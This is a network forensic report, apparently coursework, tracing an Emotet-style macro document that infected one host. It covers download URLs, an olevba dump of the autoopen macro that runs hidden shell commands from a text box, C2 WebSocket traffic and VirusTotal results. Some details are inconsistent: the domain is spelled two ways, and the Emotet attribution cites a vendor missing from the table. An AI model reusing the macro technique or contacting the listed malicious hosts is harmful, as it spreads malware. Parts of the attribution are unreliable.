

Digital Forensic Report

Forensic Investigation Report: Case G05

1. Executive Summary

This report details the forensic investigation into a suspected endpoint compromise identified within the host network. Analysis of network traffic (`Data05.pcap`) confirmed the presence of a malicious infection on host `172.16.3.133` . The attack lifecycle involved the delivery of a weaponized document, successful execution via VBA macros, and the establishment of a persistent Command and Control (C2) tunnel via WebSockets to bypass standard perimeter security.

2. Methodology & Tools

The investigation followed a rigorous forensic workflow, utilizing the following tools:

- **tshark / Wireshark:** Protocol analysis and packet filtering.
- **tcpflow:** Stream reassembly and object extraction.
- **olevba (oletools):** Static analysis of VBA macros within MS Office documents.
- **VirusTotal:** Threat intelligence verification and artifact attribution.

3. Analysis Phases (The Evidence)

Phase I: Traffic Profiling & Baseline Establishment

Objective: Identify anomalous behavior and determine the "Patient Zero" (compromised host).

Step 1: Gather file statistics to understand capture duration

```
(kali㉿kali)-[~/Desktop/proj/Data-G05]
$ capinfos Data05.pcap
File name: Data05.pcap
File type: Wireshark/tcpdump/... - pcap
File encapsulation: Ethernet
File timestamp precision: microseconds (6)
Packet size limit: file hdr: 65535 bytes
Number of packets: 82 k
File size: 45 MB
Data size: 43 MB
Capture duration: 1249.229279 seconds
Earliest packet time: 2018-12-18 19:31:41.676871
Latest packet time: 2018-12-18 19:52:30.906150
Data byte rate: 35 kBps
Data bit rate: 280 kbps
Average packet size: 531.30 bytes
Average packet rate: 65 packets/s
SHA256: d35d186bb34fe0bf6a2e8787ebd71f44ec3ed0b90b3bbc890a97bad8823d92b8
SHA1: f8c1fb20fb8c7e0dd1e43b4c445afe77dedc8342
Strict time order: False
Number of interfaces in file: 1
Interface #0 info:
    Encapsulation = Ethernet (1 - ether)
    Capture length = 65535
    Time precision = microseconds (6)
    Time ticks per second = 1000000
    Number of stat entries = 0
    Number of packets = 82354
```

Step 2: Identify top talkers and protocol distribution

```
(kali@kali)-[~/Desktop/proj/Data-G05]
$ tshark -r Data05.pcap -q -z conv,ip
```

IPv4 Conversations
Filter:<No Filter>

		←		→		Total	Relative	Duration
		Frames	Bytes	Frames	Bytes	Frames	Start	
172.16.3.110	↔ 199.59.102.11	4894	6,526 kB	3572	255 kB	8466	572.590673000	21.4136
172.16.3.189	↔ 50.62.133.159	2436	3,188 kB	2103	153 kB	4539	1243.152533000	6.0767
172.16.3.189	↔ 64.57.241.17	2298	3,005 kB	2037	145 kB	4335	124.179867000	54.8709
172.16.3.122	↔ 23.194.182.213	891	813 kB	951	369 kB	1842	155.666723000	354.1006
172.16.3.111	↔ 151.101.0.238	1053	1,380 kB	712	50 kB	1765	12.761072000	15.0047
172.16.3.122	↔ 54.69.67.204	647	77 kB	1055	635 kB	1702	147.511040000	390.8745
172.16.3.189	↔ 172.217.1.163	776	994 kB	811	61 kB	1587	126.397416000	52.6304
172.16.3.114	↔ 107.180.3.196	874	1,112 kB	483	44 kB	1357	413.484087000	8.4271
172.16.3.122	↔ 8.8.8.8	550	88 kB	763	60 kB	1313	140.986710000	953.2395
172.16.3.188	↔ 151.101.32.70	718	926 kB	577	50 kB	1295	280.587371000	38.8111
172.16.3.122	↔ 68.67.179.197	624	245 kB	665	131 kB	1289	167.724508000	310.3172
172.217.2.162	↔ 172.16.3.122	590	127 kB	589	273 kB	1179	27.653312000	600.6784
172.16.3.122	↔ 173.194.7.88	726	930 kB	438	32 kB	1164	259.937021000	1.7227
172.16.3.189	↔ 172.217.0.238	526	659 kB	531	44 kB	1057	126.965286000	52.0623
172.16.3.189	↔ 172.217.2.174	534	669 kB	495	37 kB	1029	1245.116828000	3.5457
172.16.3.133	↔ 195.69.187.56	664	801 kB	241	19 kB	905	969.707423000	248.1286
172.16.3.122	↔ 99.84.216.18	466	572 kB	420	44 kB	886	146.524039000	4.8086
172.16.3.189	↔ 172.16.3.2	370	89 kB	423	104 kB	793	53.331373000	1194.9340
172.16.3.122	↔ 172.217.1.162	381	247 kB	410	59 kB	791	151.630057000	476.7003
172.16.3.133	↔ 172.16.3.2	363	86 kB	418	108 kB	781	124.405711000	1029.1406
172.16.3.114	↔ 172.16.3.2	347	85 kB	402	103 kB	749	215.225892000	1024.9950
172.217.0.225	↔ 172.16.3.122	346	33 kB	366	401 kB	712	26.970755000	601.3608
35.244.232.184	↔ 172.16.3.122	351	69 kB	330	40 kB	681	27.667283000	600.6655
172.16.3.122	↔ 63.251.114.137	270	186 kB	364	78 kB	634	179.209693000	207.5691
172.16.3.122	↔ 18.214.242.176	259	41 kB	355	71 kB	614	156.174330000	383.2012
172.217.0.98	↔ 172.16.3.122	305	54 kB	305	156 kB	610	23.990403000	604.3409
172.16.3.122	↔ 152.195.14.112	265	83 kB	328	82 kB	593	154.446859000	324.0273
172.16.3.188	↔ 151.101.64.70	341	443 kB	242	17 kB	584	280.184093000	30.7993
172.16.3.122	↔ 192.229.173.42	293	348 kB	235	20 kB	528	147.478371000	270.9561
172.16.3.122	↔ 54.230.19.71	269	267 kB	243	26 kB	512	188.593661000	439.7326
172.16.3.112	↔ 208.90.188.131	277	335 kB	197	27 kB	474	400.464547000	122.4025
172.16.3.122	↔ 50.31.185.52	222	25 kB	248	199 kB	470	233.434767000	187.9370
172.16.3.122	↔ 23.211.3.55	157	37 kB	287	139 kB	444	441.726174000	47.2532
172.16.3.122	↔ 8.43.72.32	215	59 kB	228	30 kB	443	153.179442000	356.2658
172.16.3.122	↔ 23.74.28.41	195	102 kB	238	151 kB	433	148.529591000	360.9100
172.16.3.122	↔ 96.7.66.138	231	253 kB	202	22 kB	433	148.567275000	59.9664
172.16.3.122	↔ 74.119.119.66	222	97 kB	210	34 kB	432	147.351587000	293.4172
172.217.1.10	↔ 172.16.3.122	183	14 kB	245	280 kB	428	23.940546000	363.5527
172.16.3.122	↔ 23.194.181.103	205	170 kB	217	48 kB	422	153.110463000	356.3292

- **Analysis:** We identified `172.16.3.133` as a high-volume communicator with external non-standard servers.

Phase II: Attack Vector Identification (Delivery)

Objective: Locate the malicious file download.

Filter for HTTP GET requests from our suspect host

```
(kali@kali)-[~/Desktop/proj/Data-G05]
$ tshark -r Data05.pcap -Y "ip.src == 172.16.3.133 and http.request" -T fields -e http.request.full_uri
http://www.msftncsi.com/ncsi.txt
http://239.255.255.250:1900*
http://239.255.255.250:1900*
http://239.255.255.250:1900*
http://239.255.255.250:1900*
http://239.255.255.250:1900*
http://239.255.255.250:1900*
http://entisrael.com/wp-content/uploads/2018/jemHu-SahjLpTw_r-7Kd/PaymentStatus/default/US_us/Companies-Invoice-0970945
http://entisrael.com/wp-content/uploads/2018/jemHu-SahjLpTw_r-7Kd/PaymentStatus/default/US_us/Companies-Invoice-0970945/
http://www.prolightphotovideo.net/dVk_hwBIaehh
http://www.prolightphotovideo.net/dVk_hwBIaehh/
http://69.195.223.154:7080/
http://69.195.223.154:7080/
http://cimediaorb.pw/data2.php?3426D86DC01DF4DA
```

Finding: The host requested a file named `Companies-Invoice-0970945` which returned an `application/msword` content type.

Phase III: Malware Artifact Extraction

Objective: Recover the physical file for analysis.

Extract HTTP objects from the pcap

```
(kali@kali): ~/Desktop/proj/Data-G05
$ tshark -r Data05.pcap -export-objects http,./extracted_objects
1 0.000000 0.0.0.0 → 255.255.255.255 DHCP 332 DHCP Discover - Transaction ID 0x7e27f8f6
2 0.000462 172.16.3.2 → 255.255.255.255 DHCP 349 DHCP Offer - Transaction ID 0x7e27f8f6
3 0.011297 0.0.0.0 → 255.255.255.255 DHCP 344 DHCP Request - Transaction ID 0x7e27f8f6
4 0.011696 172.16.3.2 → 255.255.255.255 DHCP 349 DHCP ACK - Transaction ID 0x7e27f8f6
5 0.275279 172.16.3.111 → 8.8.8.8 DNS 74 Standard query 0x5cb3 A www.google.com
6 0.275606 172.16.3.111 → 8.8.8.8 DNS 89 Standard query 0x7ec0 A connectivitycheck.gstatic.com
7 0.370885 8.8.8.8 → 172.16.3.111 DNS 105 Standard query response 0x7ec0 A connectivitycheck.gstatic.com A 172.217.2.163
8 0.390968 172.16.3.111 → 172.217.2.163 TCP 74 49422 → 80 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM TSval=1308976 TSecr=0 WS=512
9 0.428360 8.8.8.8 → 172.16.3.111 DNS 90 Standard query response 0x5cb3 A www.google.com A 172.217.15.196
10 0.435520 172.16.3.111 → 172.217.15.196 TCP 74 49588 → 443 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM TSval=1308990 TSecr=0 WS=512
11 0.439154 172.16.3.111 → 8.8.8.8 DNS 76 Standard query 0x12ad A mtalk.google.com
12 0.465016 172.217.2.163 → 172.16.3.111 TCP 74 80 → 49422 [SYN, ACK] Seq=0 Ack=1 Win=60192 Len=0 MSS=1288 SACK_PERM TSval=283244837 TSecr=1308976 WS=256
13 0.467392 172.16.3.111 → 172.217.2.163 TCP 66 49422 → 80 [ACK] Seq=1 Ack=1 Win=88064 Len=0 TSval=1308999 TSecr=283244837
14 0.468518 172.16.3.111 → 172.217.2.163 HTTP 298 GET /generate_204 HTTP/1.1
15 0.529341 8.8.8.8 → 172.16.3.111 DNS 121 Standard query response 0x12ad A mtalk.google.com CNAME mobile-gtalk.l.google.com A 108.177.111.188
16 0.530955 172.217.15.196 → 172.16.3.111 TCP 74 443 → 49588 [SYN, ACK] Seq=0 Ack=1 Win=60192 Len=0 MSS=1288 SACK_PERM TSval=3046677360 TSecr=1308990 WS=256
17 0.534686 172.16.3.111 → 172.217.15.196 TCP 66 49588 → 443 [ACK] Seq=1 Ack=1 Win=88064 Len=0 TSval=1309019 TSecr=3046677360
18 0.535177 172.16.3.111 → 172.217.15.196 TLSv1 242 Client Hello (SNI=www.google.com)
19 0.535856 172.16.3.111 → 108.177.111.188 TCP 74 47526 → 5228 [SYN] Seq=0 Win=65535 Len=0 MSS=1460 SACK_PERM TSval=1309020 TSecr=0 WS=512
20 0.545369 172.217.2.163 → 172.16.3.111 TCP 66 80 → 49422 [ACK] Seq=1 Ack=233 Win=61440 Len=0 TSval=283244917 TSecr=1309000
21 0.545520 172.217.2.163 → 172.16.3.111 HTTP 149 HTTP/1.1 204 No Content
22 0.547611 172.16.3.111 → 172.217.2.163 TCP 66 49422 → 80 [ACK] Seq=233 Ack=84 Win=88064 Len=0 TSval=1309023 TSecr=283244917
23 0.621376 172.217.15.196 → 172.16.3.111 TCP 66 443 → 49588 [ACK] Seq=1 Ack=177 Win=61440 Len=0 TSval=3046677451 TSecr=1309020
24 0.627924 108.177.111.188 → 172.16.3.111 TCP 74 5228 → 47526 [SYN, ACK] Seq=0 Ack=1 Win=60192 Len=0 MSS=1288 SACK_PERM TSval=1101871547 TSecr=1309020 WS=256
25 0.630801 172.16.3.111 → 108.177.111.188 TCP 66 47526 → 5228 [ACK] Seq=1 Ack=1 Win=88064 Len=0 TSval=1309048 TSecr=1101871547
26 0.635262 172.217.15.196 → 172.16.3.111 TLSv1.2 1342 Server Hello
27 0.635466 172.217.15.196 → 172.16.3.111 TLSv1.2 1112 Certificate, Server Key Exchange, Server Hello Done
28 0.637507 172.16.3.111 → 172.217.15.196 TCP 66 49588 → 443 [ACK] Seq=177 Ack=1277 Win=90624 Len=0 TSval=1309050 TSecr=3046677464
29 0.637734 172.16.3.111 → 172.217.15.196 TCP 66 49588 → 443 [ACK] Seq=177 Ack=2323 Win=93184 Len=0 TSval=1309050 TSecr=3046677464
30 0.639530 172.16.3.111 → 108.177.111.188 TLSv1 233 Client Hello (SNI=mtalk.google.com)
31 0.664585 172.16.3.111 → 172.217.15.196 TLSv1.2 159 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
32 0.727870 108.177.111.188 → 172.16.3.111 TCP 66 5228 → 47526 [ACK] Seq=1 Ack=168 Win=61440 Len=0 TSval=1101871648 TSecr=1309051
33 0.728277 108.177.111.188 → 172.16.3.111 TLSv1.2 1342 Server Hello
34 0.728562 108.177.111.188 → 172.16.3.111 TCP 1342 5228 → 47526 [ACK] Seq=1277 Ack=168 Win=61440 Len=1276 TSval=1101871648 TSecr=1309051
35 0.730643 172.16.3.111 → 108.177.111.188 TCP 66 47526 → 5228 [ACK] Seq=168 Ack=1277 Win=90624 Len=0 TSval=1309078 TSecr=1101871648
36 0.730866 172.16.3.111 → 108.177.111.188 TCP 66 47526 → 5228 [ACK] Seq=168 Ack=2553 Win=93184 Len=0 TSval=1309078 TSecr=1101871648
37 0.735106 108.177.111.188 → 172.16.3.111 TLSv1.2 845 Certificate, Server Key Exchange, Server Hello Done
38 0.737238 172.16.3.111 → 108.177.111.188 TCP 66 47526 → 5228 [ACK] Seq=168 Ack=3332 Win=95744 Len=0 TSval=1309080 TSecr=1101871648
39 0.756304 172.217.15.196 → 172.16.3.111 TLSv1.2 350 New Session Ticket, Change Cipher Spec, Encrypted Handshake Message
40 0.759315 172.16.3.111 → 172.217.15.196 TLSv1.2 312 Application Data
41 0.776633 172.16.3.111 → 108.177.111.188 TLSv1.2 159 Client Key Exchange, Change Cipher Spec, Encrypted Handshake Message
42 0.847147 172.217.15.196 → 172.16.3.111 TLSv1.2 229 Application Data
43 0.867413 108.177.111.188 → 172.16.3.111 TLSv1.2 350 New Session Ticket, Change Cipher Spec, Encrypted Handshake Message
44 0.869994 172.16.3.111 → 108.177.111.188 TCP 66 47526 → 5228 [ACK] Seq=261 Ack=3616 Win=98304 Len=0 TSval=1309120 TSecr=1101871787
45 0.888003 172.16.3.111 → 172.217.15.196 TCP 66 49588 → 443 [ACK] Seq=516 Ack=2770 Win=98304 Len=0 TSval=1309126 TSecr=3046677677
46 0.936627 172.16.3.111 → 108.177.111.188 TLSv1.2 455 Application Data
```

Verify the file type

```
(kali@kali): ~/Desktop/proj/Data-G05/extracted_objects
$ file Companies-Invoice-0970945(1)
Companies-Invoice-0970945(1): Composite Document File V2 Document, Little Endian, Os: Windows, Version 6.1, Code page: 1252, Template: Normal.dotm, Revision Number: 1, Name of Creating Application: Micro
soft Office Word, Create Time/Date: Tue Dec 18 13:51:00 2018, Last Saved Time/Date: Tue Dec 18 13:51:00 2018, Number of Pages: 1, Number of Words: 5, Number of Characters: 34, Security: 0
```

- **Evidence:** The file is a "Composite Document File V2 Document," confirming it is an MS Word document used as a dropper.

Phase IV: Static Analysis (Malicious Macro)

Objective: Parse the internal OLE structure of the weaponized document to identify the code execution path and the mechanism used to stage secondary payloads.

Using the `oletools` suite, static analysis was performed on the extracted object `Companies-Invoice-0970945(1)`.

```
(kali@kali)-[~/Desktop/proj/Data-G05/extracted_objects]
$ olevba "Companies-Invoice-0970945(1)"
olevba 0.60.2 on Python 3.13.12 - http://decalage.info/python/oletools

FILE: Companies-Invoice-0970945(1)
Type: OLE

VBA MACRO VFvZTjiwA.cls
in file: Companies-Invoice-0970945(1) - OLE stream: 'Macros/VBA/VFvZTjiwA'
-----
Sub autoopen()
wplBXp
End Sub

VBA MACRO phRErLlq.bas
in file: Companies-Invoice-0970945(1) - OLE stream: 'Macros/VBA/phRErLlq'
-----
Function wplBXp()
On Error Resume Next
lJSOTAv = Array(zwVmdz, nDWwfj, tNAamwtOF, Interaction.Shell(CleanString(VFvZTjiwA.TextBox1), 50 - 50), oNmuZL)
Select Case VaXAfVzWSEsUpouEDjrDjC
Case 239358306
qCnFmrZhRCnXsLmsvkVZabXb = 94346571
TNvOjspaKcisjb = Oct(kDnBWLrXzIYjKWPfLqkY + CStr(lDWvhRBjJCAUvpXj + Log(175942169) - pbqwFHLfDuwWBzCSwzQFpuq / Hex(91765945)))
End Select
End Function

+-----+-----+-----+
|Type      |Keyword      |Description|
+-----+-----+-----+
|AutoExec  |autoopen     |Runs when the Word document is opened|
|Suspicious|Shell        |May run an executable file or a system|
|           |             |command|
|Suspicious|Hex Strings  |Hex-encoded strings were detected, may be|
|           |             |used to obfuscate strings (option --decode to|
|           |             |see all)|
|Suspicious|Base64 Strings|Base64-encoded strings were detected, may be|
|           |             |used to obfuscate strings (option --decode to|
|           |             |see all)|
+-----+-----+-----+
```

1. Execution Flow & Logic Deobfuscation

The tool successfully parsed two distinct VBA modules embedded within the document's streams: `Macros/VBA/VFvZTjiwA` and `Macros/VBA/phRErLlq`. The logic is structured into an automated two-stage execution chain:

- **Stage 1: The Automated Trigger (`Sub autoopen()`)**

The malware utilizes the native Word macro interceptor `autoopen()`. This is an **AutoExec** keyword. The moment the target user opens the document (and permits macro execution), this block runs automatically without requiring additional user interactions or clicks. It immediately pivots execution by calling the function `wplBXp`.

- **Stage 2: The Stealth Shell Execution (`Function wplBXp()`)**

Within the second module, the function initializes an array containing heavily

obfuscated junk variables alongside a critical malicious command wrapper:

```
Interaction.Shell(CleanString(VFvZTjiwA.TextBox1), 50 - 50)
```

2. Dissecting the Attacker's Tactics

- **Malicious Form Hiding (The Data Source):** Notice that the execution source targets `VFvZTjiwA.TextBox1`. Attackers frequently embed a tiny, invisible user form or text box within the Word layout and pack it with their actual encoded malicious payload (such as a PowerShell, cmd, or WMI script). They do this because scanning engines often look at the *code blocks*, missing the malicious payload hidden silently inside the document's UI components.
- **Obfuscated Process Spawning:** The `Interaction.Shell` function executes system-level commands natively inside the operating system. The `50 - 50` parameter dynamically evaluates to `0`, which maps to the native Windows execution flag `vbHide`. This forces the spawned command shell to run completely invisibly in the background, keeping the victim unaware of the compromise.
- **Analysis Evasion (Junk Math):** The block containing complex algebraic junk logic (`Select Case... Log(175942169)... Hex(91765945)`) serves zero functional purpose for the malware. It is junk code designed to disrupt heuristic signatures, alter file hashes, and confuse manual static analysts trying to reverse-engineer the logic.

Phase V: Command & Control (C2) Tunneling

Objective: Analyze the persistent communication channel.

Identifying the Initial Beacon

To identify the initial point of contact, we filtered the packet capture for HTTP traffic communicating with the known malicious IP.

```
(kali@kali)-[~/Desktop/pro/Data-G05]
$ tshark -r Data05.pcap -Y "ip.addr == 195.69.187.56 and http" -V
Frame 75690: Packet, 159 bytes on wire (1272 bits), 159 bytes captured (1272 bits)
  Encapsulation type: Ethernet (1)
    Arrival Time: Dec 18, 2018 19:47:55.632856000 UTC
    UTC Arrival Time: Dec 18, 2018 19:47:55.632856000 UTC
    Epoch Arrival Time: 1545162475.632856000
    [Time shift for this packet: 0.000000000 seconds]
    [Time delta from previous captured frame: 2.000 microseconds]
    [Time since reference or first frame: 16 minutes, 13.955985000 seconds]
  Frame Number: 75690
  Frame Length: 159 bytes (1272 bits)
  Capture Length: 159 bytes (1272 bits)
  [Frame is marked: False]
  [Frame is ignored: False]
  [Protocols in frame: eth:ethertype:ip:tcp:http]
  Character encoding: ASCII (0)
Ethernet II, Src: ASUSTekCOMPU_bf:04:13 (00:1a:92:bf:04:13), Dst: Cisco_a2:bf:89 (00:03:31:a2:bf:89)
  Destination: Cisco_a2:bf:89 (00:03:31:a2:bf:89)
    .... 0. .... = LG bit: Globally unique address (factory default)
    .... 0 .... = IG bit: Individual address (unicast)
  Source: ASUSTekCOMPU_bf:04:13 (00:1a:92:bf:04:13)
    .... 0. .... = LG bit: Globally unique address (factory default)
    .... 0 .... = IG bit: Individual address (unicast)
  Type: IPv4 (0x0800)
  [Stream index: 13]
Internet Protocol Version 4, Src: 172.16.3.133, Dst: 195.69.187.56
  0100 .... = Version: 4
  .... 0101 = Header Length: 20 bytes (5)
  Differentiated Services Field: 0x00 (DSCP: CS0, ECN: Not-ECT)
    0000 00.. = Differentiated Services Codepoint: Default (0)
    .... 00 = Explicit Congestion Notification: Not ECN-Capable Transport (0)
  Total Length: 145
  Identification: 0x035b (859)
  010. .... = Flags: 0x2, Don't fragment
    0 ... .... = Reserved bit: Not set
    .1.. .... = Don't fragment: Set
    ..0. .... = More fragments: Not set
  ... 0 0000 0000 0000 = Fragment Offset: 0
  Time to Live: 128
  Protocol: TCP (6)
  Header Checksum: 0xc8f8 [validation disabled]
  [Header checksum status: Unverified]
  Source Address: 172.16.3.133
  Destination Address: 195.69.187.56
  [Stream index: 580]
Transmission Control Protocol, Src Port: 49226, Dst Port: 80, Seq: 1, Ack: 1, Len: 105
```

tshark output displaying the HTTP GET beacon and the subsequent 101 Switching Protocols response.

Forensic Findings:

```

Hypertext Transfer Protocol
GET /data2.php?3426D86DC01DF4DA HTTP/1.1\r\n
  Request Method: GET
  Request URI: /data2.php?3426D86DC01DF4DA
    Request URI Path: /data2.php
    Request URI Query: 3426D86DC01DF4DA
      Request URI Query Parameter: 3426D86DC01DF4DA
  Request Version: HTTP/1.1
Host: cimeaorb.pw\r\n
Upgrade: websocket\r\n
Connection: Upgrade\r\n
\r\n
[Full request URI: http://cimeaorb.pw/data2.php?3426D86DC01DF4DA]

```

Frame 75690: The compromised host (`172.16.3.133:49226`) sent an `HTTP GET` request to `/data2.php?3426D86DC01DF4DA` . The hex string in the URI acts as a unique identifier/beacon ID for the infected machine. The request included the header `Upgrade: websocket` .

```

Hypertext Transfer Protocol
HTTP/1.1 101 Switching Protocols\r\n
  Response Version: HTTP/1.1
  Status Code: 101
  [Status Code Description: Switching Protocols]
  Response Phrase: Switching Protocols
Server: openresty\r\n
Date: Tue, 18 Dec 2018 19:47:55 GMT\r\n
Connection: upgrade\r\n
Upgrade: websocket\r\n
Sec-WebSocket-Accept: Kfh9QIsMVZcl6xEPYxPHzW8SZ8w=\r\n
\r\n
[Request in frame: 75690]
[Time since request: 410.678000 milliseconds]
[Request URI: /data2.php?3426D86DC01DF4DA]
[Full request URI: http://cimeaorb.pw/data2.php?3426D86DC01DF4DA]

```

Frame 75695: The server (`195.69.187.56:80`) responded with `HTTP/1.1 101 Switching Protocols` , acknowledging the `Upgrade: websocket` header. This effectively converted the stateless HTTP session into a persistent, full-duplex tunnel.

Payload Extraction

With the C2 tunnel identified on TCP stream 1589, the raw payload data was extracted for offline analysis to determine the nature of the communication.

```
(kali@kali)-[~/Desktop/pro/Data-G05]
$ tshark -r Data05.pcap -q -z follow,tcp,raw,1589 > c2_tunnel.raw
```

Forensic Findings:

The full bidirectional communication happening inside the WebSocket tunnel was successfully dumped into the file c2_tunnel.raw for reverse engineering and cryptographic analysis.

Entropy & Cryptographic Analysis

To determine if the C2 communication was encrypted or obfuscated, we analyzed the randomness of the extracted raw data using the ent utility.

```
(kali@kali)-[~/Desktop/pro/Data-G05]
$ ent c2_tunnel.raw
Entropy = 4.019286 bits per byte.

Optimum compression would reduce the size
of this 983 byte file by 49 percent.

Chi square distribution for 983 samples is 20068.64, and randomly
would exceed this value less than 0.01 percent of the times.

Arithmetic mean value of data bytes is 57.6877 (127.5 = random).
Monte Carlo value for Pi is 4.000000000 (error 27.32 percent).
Serial correlation coefficient is 0.151288 (totally uncorrelated = 0.0).
```

- **Entropy Score:** 4.019286 bits per byte .
- **Optimum Compression:** 49 percent .
- **Analysis:** True encrypted data (like AES or TLS) yields an entropy close to 8.0 bits per byte. A score of 4.01 indicates highly structured, unencrypted data. The 49% compression ratio further proves the presence of heavily repeated plaintext, Base64 strings, or simple XOR obfuscation rather than robust

encryption. The attacker sacrificed encryption for stealth (hiding in Port 80 WebSockets).

4. Threat Intelligence & Attribution

4.1. Artifact Analysis

```
(kali@kali)-[~/Desktop/pro/Data-G05/extracted_objects]
$ sha256sum "Companies-Invoice-0970945(1)"
c8212610730cc6902883eee501e0ba8a2b043b880f7ab374df4a5c585d88ac8b  Companies-Invoice-0970945(1)
```

The malicious document `Companies-Invoice-0970945(1)` (SHA256: `c8212610730cc6902883eee501e0ba8a2b043b880f7ab374df4a5c585d88ac8b`) was submitted to VirusTotal for behavioral and heuristic analysis.

The screenshot displays the VirusTotal web interface for a file analysis. The file name is `Companies-Invoice-0970945` with a SHA256 hash of `c8212610730cc6902883eee501e0ba8a2b043b880f7ab374df4a5c585d88ac8b`. The file size is 118.75 KB and it was last analyzed 1 day ago. A circular progress indicator shows that 47 out of 58 security vendors flagged the file as malicious. The file is identified as a document (DOC) and exhibits several behaviors: `doc`, `long-sleeps`, `auto-open`, `macro-run-file`, `macros`, `detect-debug-environment`, `run-file`, and `calls-wmi`. The 'DETECTION' tab is active, showing a 'Join our Community' banner and a 'Crowdsourced AI' section where Hispasec flags the file as malicious, noting that the macros exhibit signs of malicious intent. Below this, the 'Popular threat label' is `trojan.w97m/macros`, with threat categories including `trojan` and `downloader`, and family labels including `w97m`, `macros`, and `heur2`. The 'Security vendors' analysis' section shows a table of detections from various vendors.

Vendor	Detection
Acronis (Static ML)	Suspicious
AhnLab-V3	MSOffice/Downloader
Alicloud	Trojan:MSOffice/Downloader.yx
ALYac	Trojan.Downloader.W97M.Gen

4.2. Security Vendor Verdicts

Of the 58 security vendors, 47 detected the file as malicious. The diversity of detection labels provides high confidence in the malicious nature of the

document:

Security vendors' analysis ⓘ		Do you want to automate checks?	
Acronis (Static ML)	ⓘ Suspicious	AhnLab-V3	ⓘ MSOffice/Downloader
AliCloud	ⓘ Trojan:MSOffice/Downloader.yx	ALYac	ⓘ Trojan.Downloader.W97M.Gen
Antiy-AVL	ⓘ Trojan[Downloader]/MSOffice.Agent	Arcabit	ⓘ GT:VB.Macros.Heur2.ObfDldr.10.0BF64FED
Avira (no cloud)	ⓘ TR/SNH	BitDefender	ⓘ GT:VB.Macros.Heur2.ObfDldr.10.0BF64FED
ClamAV	ⓘ Doc.Malware.Generic-6787804-0	CTX	ⓘ Doc.trojan.w97m
Cynet	ⓘ Malicious (score: 99)	DrWeb	ⓘ Exploit.Siggen.17481
Emsisoft	ⓘ Trojan-Downloader.Macro.Generic.L (A)	eScan	ⓘ GT:VB.Macros.Heur2.ObfDldr.10.0BF64FED
ESET-NOD32	ⓘ VBA/TrojanDownloader.Agent.LVZ Trojan	Fortinet	ⓘ VBA/Agent.1F50ltr.dldr
GData	ⓘ Macro.Trojan-Downloader.Shallow.S	Google	ⓘ Detected
Huorong	ⓘ OMacro/Downloader.yx	K7AntiVirus	ⓘ Trojan (0054421b1)
K7GW	ⓘ Trojan (0054421b1)	Kaspersky	ⓘ UDS:DangerousObject.Multi.Generic
Kingsoft	ⓘ Win32.Troj.Undef.a	Lionic	ⓘ Trojan.MSWord.Macros.4lc
McAfee Scanner	ⓘ Trojan:Office/Obfuse.EAE	Microsoft	ⓘ TrojanDownloader:O97M/Donoff
NANO-Antivirus	ⓘ Trojan.Ole2.Vbs-heuristic.druvzi	Panda	ⓘ O97M/Downloader

4.3. Interpretation of Findings

- **Attribution to Emotet:** Multiple vendors (QuickHeal) identified the artifact as **Emotet**. This is a significant finding, as Emotet is a well-documented "loader" malware that often acts as the initial stage for larger, more damaging cyberattacks (e.g., ransomware deployment).
- **Delivery Mechanism:** The presence of **W97M/Downloader** and **Macro.Agent** labels confirms the document's primary function is to bypass security controls using obfuscated VBA macros to download secondary payloads.
- **Evasion Techniques:** The behavioral tags recorded by VirusTotal—specifically **long-sleeps**, **detect-debug-environment**, and **calls-wmi**—demonstrate the malware's capability to detect if it is being analyzed in a sandbox and to use Windows Management Instrumentation (WMI) for stealthy execution.

5. Conclusion

Host **172.16.3.133** was compromised via a phishing-based delivery of a weaponized Word document. The document utilized an **autoopen** macro to initiate a

WebSocket tunnel to `195.69.187.56` (C2 server). The use of the WebSocket protocol on Port 80 indicates a deliberate effort to bypass perimeter inspection tools.